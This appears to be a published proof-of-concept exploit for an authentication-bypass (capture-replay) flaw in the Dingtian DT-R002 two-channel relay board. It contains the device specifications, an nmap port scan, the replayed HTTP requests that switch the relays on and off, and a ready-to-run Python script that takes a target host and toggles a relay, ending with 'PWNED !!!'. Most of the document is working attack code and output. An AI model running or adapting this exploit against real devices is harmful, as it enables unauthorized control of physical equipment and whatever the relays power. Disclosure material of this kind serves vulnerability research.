Proof-of-concept exploit for authentication bypass via capture-replay in Dingtian DT-R002 relay, allowing unauthorized control of relays through HTTP and Modbus TCP.
Authentication Bypass by Capture-replay Published: Version: 1.0 Vendor: Shenzhen Dingtian Technologies Co.,Ltd Product: 2 Channel Relay Board/Relay Card Version affected: Firmware V3.1.276A
Overview
Support multiple channel relay, On/Off/Delay/Jog
Support multiple interface RJ45/RS485/CAN/WIFI
Local Button control
PC app config and control
WEB config and control
8KB FIFO command buffer
Support password.
WIFI smart config support
Button control
MQTT/Modbus/CoAP
Technical parameters
Interface RJ45/ RS485/CAN/WIFI
Baudrate 100M/115200bps/125kbps/150Mbps
Protocol TCP server/client,UDP server/client,RS485,CAN,WIFI
Operating temperature -10~+75°C
Storage temperature -40~+125°C
Relative humidity 5~95% RH, no condensation
Power supply 9-40V Non-polar
Current 1A@12V DC
Power consumption <5W
Relay parameters
Relay Power AC 250V/10A,DC 30V/10A
Delay 1~65535 seconds
Jog Pull in 0.5 seconds, automatically release
Power supply Non-polar
DC 9~40V Non-polar
>
nmap -p- --open -Pn 192.168.7.1
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
502/tcp open mbap
>
Turning ON
Request
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&1&0&
Turning OFF
Request
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&0&0&
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+" <host> <relay#> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"
headers = {
"Host": ""+host+"",
"User-Agent": "9lyph/3.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"DNT": "1",
"Connection": "close",
"Referer": "http://"+host+"/relay_cgi.html",
"Cookie": "session=4463009"
}
print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
for i in range(5):
time.sleep (1)
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
try:
if (relay == "1"):
print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay1On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
r = requests.get(urlRelay1Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
elif (relay == "2"):
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
else:
print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
except KeyboardInterrupt:
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
if __name__ == "__main__":
if len(sys.argv)>2:
host = sys.argv[1]
relay = sys.argv[2]
main ()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)